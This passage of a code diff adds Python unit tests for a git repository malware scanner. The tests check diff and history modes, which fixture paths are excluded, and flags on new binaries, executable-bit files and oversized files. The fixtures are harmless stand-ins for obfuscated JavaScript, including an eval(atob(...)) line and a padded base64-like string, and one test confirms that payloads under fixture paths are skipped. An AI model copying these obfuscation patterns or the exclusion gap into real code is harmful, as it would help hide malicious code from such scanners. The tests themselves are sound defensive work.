test_cli_diff_mode_scans_only_changed(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + proc = subprocess.run( + [sys.executable, str(SCAN), "--base", "HEAD~1", "--head", "HEAD", + "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertIn(proc.returncode, (0, 1), proc.stderr) + data = json.loads(proc.stdout) + paths = {f["path"] for f in data["findings"]} + self.assertIn("bad.js", paths) + self.assertNotIn("clean.js", paths) + self.assertTrue(any( + f["rule"] == "SUSP-NEW-DEPENDENCY" for f in data["findings"] + ), data) + + def test_diff_scanner_policy_excludes_malware_scan_paths(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + payload_dir = root / "tests" / "malware-scan" / "fixtures" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add scanner payload fixture") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + self.assertEqual( + [f for f in findings if f.severity == "BLOCK"], [], findings + ) + self.assertNotIn("tests/malware-scan/fixtures/payload.js", scanned) + + def test_diff_scans_changed_file_under_src_malware_scan(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + payload_dir = root / "src" / "malware-scan" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'eval(atob("aGk="));\n', encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "hide payload under src/malware-scan") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertEqual( + {f.path for f in hits}, {"src/malware-scan/payload.js"}, findings + ) + self.assertTrue(all(f.severity == "BLOCK" for f in hits), findings) + self.assertIn("src/malware-scan/payload.js", scanned) + + def test_diff_flags_new_binary_nul_bytes(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + (root / "blob.bin").write_bytes(b"\x7fELF\x02\x01\x01\x00rest") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add binary") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-BINARY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "blob.bin") + self.assertIn("binary", hits[0].message) + self.assertIn("blob.bin", scanned) + + def test_diff_warns_on_executable_bit_file_added(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + tool = root / "tool.sh" + tool.write_text("#!/bin/sh\necho hi\n", encoding="utf-8") + tool.chmod(0o755) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add executable") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-BINARY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "tool.sh") + self.assertEqual(hits[0].message, "executable-bit file added") + + def test_cli_diff_mode_skips_oversized_changed_files_with_note(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + big = root / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add oversized") + proc = subprocess.run( + [sys.executable, str(SCAN), "--base", "HEAD~1", "--head", "HEAD", + "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertIn(proc.returncode, (0, 1), proc.stderr) + data = json.loads(proc.stdout) + paths = {f["path"] for f in data["findings"]} + self.assertNotIn("big.bin", paths) + self.assertNotIn("big.bin", data["scanned"]) + self.assertIn("big.bin", proc.stderr) + self.assertIn("oversized", proc.stderr) + + def test_history_scanner_policy_excludes_malware_scan_paths(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + payload_dir = root / "tests" / "malware-scan" / "fixtures" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add scanner payload fixture") + findings, scanned = scan_mod.run_history(root) + self.assertEqual( + [f for f in findings if f.severity == "BLOCK"], [], findings + ) + self.assertNotIn("tests/malware-scan/fixtures/payload.js", scanned) + + +class TestHistoryMode(unittest.TestCase): + def test_history_finds_one_deleted_malicious_blob(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + (root / "evil.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "add evil") + (root / "evil.js").unlink() + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "remove evil") + findings, scanned = scan_mod.run_history(root) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertTrue(all(f.path == "evil.js" for f in hits), findings) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertIn("evil.js", scanned) + self.assertEqual(len(scanned), len(set(scanned))) + + def test_cli_history_mode_finds_deleted_blob(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + (root / "evil.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "add evil") + (root / "evil.js").unlink() + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "remove evil") + proc = subprocess.run( + [sys.executable, str(SCAN), "--history", "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertEqual(proc.returncode, 1, proc.stdout + proc.stderr) + data = json.loads(proc.stdout) + hits = [f for f in data["findings"] + if f["rule"] == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, data) + self.assertTrue(all(f["path"] == "evil.js" for f in hits), data) + + +if __name__ == "__main__": + unittest.main()